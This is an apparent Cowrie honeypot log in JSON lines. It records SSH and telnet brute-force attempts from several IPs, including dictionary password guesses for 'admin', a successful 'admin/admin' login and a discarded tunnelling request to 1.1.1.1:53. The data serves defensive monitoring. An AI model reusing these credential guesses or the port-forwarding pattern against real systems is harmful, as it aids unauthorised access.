{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA4+TMD5njNa1pyuwwUwNHMRKIJhH5sx0ASrajr4T4t0L148KGd8ElLfV68TBhqolTR2cH3rUmGgo9v4EX9vRlCM/Ns27ggyKqvlubF3aUakPsvNoptemZAPCBURaOnbXHRwpx2TIEbtLnL8yp8rm/5ymasWJvxC+hNZrrYsriFC8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.502898Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:81:68:59:d1:21:f7:e4:04:5b:ab:25:6a:24:10:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA4+TMD5njNa1pyuwwUwNHMRKIJhH5sx0ASrajr4T4t0L148KGd8ElLfV68TBhqolTR2cH3rUmGgo9v4EX9vRlCM/Ns27ggyKqvlubF3aUakPsvNoptemZAPCBURaOnbXHRwpx2TIEbtLnL8yp8rm/5ymasWJvxC+hNZrrYsriFC8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.507749Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr8cVkYczPym6PymSurNZPKLU56sj4J8kXO9BMBJJuNzXOk1uxDlw4Jd2XVJudnTBAPZEdjAyaby++DE8ecX+Mf6m2egTg0U8nEGY54pmqOIsuB4TFzuQ6PRow1HSjJRIj61ags/PEYJ0r41nhxYSW3gfXKUc0FZBD9/yw0RClQjiJsVLKUStIVjadZbuGQVg3idGaZ+lGNcY7QxZr8kmJjSyE9latfk7z91RPcTCyD635LhE2OMR5D/R1mgA+xi1YNQIqTZC/izGuVqt8HGmTfQLFUXuUBkv/JbmTvUVudg1yzFvqh2MVbLehrX4T1DJ5mc2irDafnsshsdlr9im0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.555006Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e1:fa:d4:74:ed:02:1d:2a:ab:47:01:13:74:03:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr8cVkYczPym6PymSurNZPKLU56sj4J8kXO9BMBJJuNzXOk1uxDlw4Jd2XVJudnTBAPZEdjAyaby++DE8ecX+Mf6m2egTg0U8nEGY54pmqOIsuB4TFzuQ6PRow1HSjJRIj61ags/PEYJ0r41nhxYSW3gfXKUc0FZBD9/yw0RClQjiJsVLKUStIVjadZbuGQVg3idGaZ+lGNcY7QxZr8kmJjSyE9latfk7z91RPcTCyD635LhE2OMR5D/R1mgA+xi1YNQIqTZC/izGuVqt8HGmTfQLFUXuUBkv/JbmTvUVudg1yzFvqh2MVbLehrX4T1DJ5mc2irDafnsshsdlr9im0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.559195Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAm1V3cpeCkfMvhrYqsa2ZZJGR8jCgJTghIWouY0E6ZU7MWLMyHemeGoPLYkVDrwE3C3tUMEd11Nxe5dZe6knpXTfeuHlGKh3Oth2JMqPKDqDBKExtaK6ysPT4SuKp3eV0DkZq6IrXXWpfX0rW/eatnav99C6mLgDXyEHo3ebgiOc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.606135Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:02:1b:b3:11:23:45:df:22:3a:62:dc:13:20:9f:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAm1V3cpeCkfMvhrYqsa2ZZJGR8jCgJTghIWouY0E6ZU7MWLMyHemeGoPLYkVDrwE3C3tUMEd11Nxe5dZe6knpXTfeuHlGKh3Oth2JMqPKDqDBKExtaK6ysPT4SuKp3eV0DkZq6IrXXWpfX0rW/eatnav99C6mLgDXyEHo3ebgiOc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.611877Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq7gpsyPI2Yan4PiZUPg0mHcX9vPcXFo37X/d/mBjaIAGSX8ECzcQAFfqgodqd5J+KWiavytW4Th/Nd1as3IYm/f/MEoob5WBo2RBg6CGA7x7klf8CkQVRPooDjGpoVx+zIYTcgSyM6uSSatYYOI/yo9Z1PU/KGoH9v9biK6P15XG8N09hfLrhz5q6cwkR6a0g5r4aPdfwD/7vWDa1HdHBrMq1YiD9V3EO1ZDarcY/28HAObOewi0UJjugh98bWzFxUu8PjFMj2XVCDPRS+c4hhbuGGcJGbvP8s3+IkjOSOT+VQE7CmlXaJaOo+jY0qLXyPi6VV/T3NI8dQWZ0lRkh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.658873Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:44:f5:5d:7b:6b:0c:0b:95:df:45:71:55:f7:c9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq7gpsyPI2Yan4PiZUPg0mHcX9vPcXFo37X/d/mBjaIAGSX8ECzcQAFfqgodqd5J+KWiavytW4Th/Nd1as3IYm/f/MEoob5WBo2RBg6CGA7x7klf8CkQVRPooDjGpoVx+zIYTcgSyM6uSSatYYOI/yo9Z1PU/KGoH9v9biK6P15XG8N09hfLrhz5q6cwkR6a0g5r4aPdfwD/7vWDa1HdHBrMq1YiD9V3EO1ZDarcY/28HAObOewi0UJjugh98bWzFxUu8PjFMj2XVCDPRS+c4hhbuGGcJGbvP8s3+IkjOSOT+VQE7CmlXaJaOo+jY0qLXyPi6VV/T3NI8dQWZ0lRkh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.663666Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.708419Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60436,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d9ae851804","protocol":"telnet","message":"New connection: 128.199.8.54:60436 (159.203.135.109:23) [session: 99d9ae851804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:39.011377Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":42946,"dst_ip":"159.203.135.109","dst_port":23,"session":"149823edd7d9","protocol":"telnet","message":"New connection: 45.148.121.166:42946 (159.203.135.109:23) [session: 149823edd7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:40.364402Z"}
{"eventid":"cowrie.session.closed","duration":33.29348540306091,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:41.579379Z","src_ip":"128.199.8.54","session":"5e8d7a99eb0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81474590301514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:42.737238Z","src_ip":"128.199.8.54","session":"7b971f62c6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.251.182.92","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3676941949","protocol":"telnet","message":"New connection: 47.251.182.92:46722 (10.17.0.5:23) [session: ec3676941949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:44.058618Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:44.064447Z","src_ip":"47.251.182.92","session":"ec3676941949","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: curl/7.64.1","password":"Accept: */*","message":"login attempt [User-Agent: curl/7.64.1/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:44.068689Z","src_ip":"47.251.182.92","session":"ec3676941949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40978,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c78e2829366","protocol":"telnet","message":"New connection: 128.199.8.54:40978 (159.203.135.109:23) [session: 9c78e2829366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:44.503969Z"}
{"eventid":"cowrie.session.closed","duration":31.515893936157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:44.686811Z","src_ip":"45.148.121.166","session":"853c9634be06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"efebdfd5d107","protocol":"telnet","message":"New connection: 128.199.8.54:44630 (159.203.135.109:23) [session: efebdfd5d107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:45.413913Z"}
{"eventid":"cowrie.session.closed","duration":31.114352226257324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:45.515753Z","src_ip":"45.148.121.166","session":"7f9d994efab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46022,"dst_ip":"159.203.135.109","dst_port":23,"session":"b549049c06fb","protocol":"telnet","message":"New connection: 128.199.8.54:46022 (159.203.135.109:23) [session: b549049c06fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:46.138259Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45000,"dst_ip":"159.203.135.109","dst_port":23,"session":"031dbf9009b9","protocol":"telnet","message":"New connection: 128.199.8.54:45000 (159.203.135.109:23) [session: 031dbf9009b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:46.638312Z"}
{"eventid":"cowrie.session.closed","duration":3.0006792545318604,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:47.059203Z","src_ip":"47.251.182.92","session":"ec3676941949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48501777648926,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:50.071518Z","src_ip":"128.199.8.54","session":"8f9bfbdc2bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75777292251587,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:50.516646Z","src_ip":"128.199.8.54","session":"e9d9d9ec55cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56748,"dst_ip":"159.203.135.109","dst_port":23,"session":"96a0f53c99df","protocol":"telnet","message":"New connection: 45.148.121.166:56748 (159.203.135.109:23) [session: 96a0f53c99df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:54.608365Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.251.182.92","src_port":27578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f003b7a110","protocol":"telnet","message":"New connection: 47.251.182.92:27578 (10.17.0.5:23) [session: a6f003b7a110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:57.131786Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33158,"dst_ip":"159.203.135.109","dst_port":23,"session":"614a409fdafb","protocol":"telnet","message":"New connection: 45.148.121.166:33158 (159.203.135.109:23) [session: 614a409fdafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:58.474838Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5512,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3d1b56186d","protocol":"ssh","message":"New connection: 2.57.121.112:5512 (159.203.135.109:22) [session: ef3d1b56186d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:59.222856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:59.228454Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:59.328848Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass69","message":"login attempt [admin/pass69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:59.803137Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0179896354675293,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:00.149639Z","src_ip":"47.251.182.92","session":"a6f003b7a110","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"parol999","message":"login attempt [admin/parol999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:00.909220Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"parker12","message":"login attempt [admin/parker12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:02.013832Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33160,"dst_ip":"159.203.135.109","dst_port":23,"session":"67aca3766861","protocol":"telnet","message":"New connection: 45.148.121.166:33160 (159.203.135.109:23) [session: 67aca3766861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:02.735111Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paris123","message":"login attempt [admin/paris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:03.119246Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33168,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f72dd438e7","protocol":"telnet","message":"New connection: 45.148.121.166:33168 (159.203.135.109:23) [session: d4f72dd438e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:03.235092Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pariah","message":"login attempt [admin/pariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:04.223018Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:05.327790Z","src_ip":"2.57.121.112","session":"ef3d1b56186d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57330,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f73d6eac3c0","protocol":"telnet","message":"New connection: 128.199.8.54:57330 (159.203.135.109:23) [session: 5f73d6eac3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:06.741083Z"}
{"eventid":"cowrie.session.closed","duration":36.56532883644104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:08.042211Z","src_ip":"128.199.8.54","session":"93e8afd95216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730773448944092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:11.095075Z","src_ip":"45.148.121.166","session":"149823edd7d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61905574798584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:13.630317Z","src_ip":"128.199.8.54","session":"99d9ae851804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f19e62a4cf2","protocol":"ssh","message":"New connection: 87.251.64.176:5130 (10.17.0.5:22) [session: 2f19e62a4cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.066777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.071578Z","src_ip":"87.251.64.176","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.169114Z","src_ip":"87.251.64.176","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.460463Z","src_ip":"87.251.64.176","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.560333Z","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.665158Z","src_ip":"87.251.64.176","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:14.906013Z","src_ip":"87.251.64.176","session":"2f19e62a4cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52774,"dst_ip":"159.203.135.109","dst_port":23,"session":"507a8fd3437b","protocol":"telnet","message":"New connection: 45.148.121.166:52774 (159.203.135.109:23) [session: 507a8fd3437b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:15.192261Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52780,"dst_ip":"159.203.135.109","dst_port":23,"session":"daaca215173d","protocol":"telnet","message":"New connection: 45.148.121.166:52780 (159.203.135.109:23) [session: daaca215173d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:16.417056Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47974,"dst_ip":"159.203.135.109","dst_port":23,"session":"904ab277c59e","protocol":"telnet","message":"New connection: 128.199.8.54:47974 (159.203.135.109:23) [session: 904ab277c59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:16.481150Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11934,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd88296099e","protocol":"telnet","message":"New connection: 212.55.149.117:11934 (10.17.0.5:23) [session: 1fd88296099e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:17.045520Z"}
{"eventid":"cowrie.session.closed","duration":33.6493775844574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:12:18.153216Z","src_ip":"128.199.8.54","session":"9c78e2829366","protocol":"telnet"}
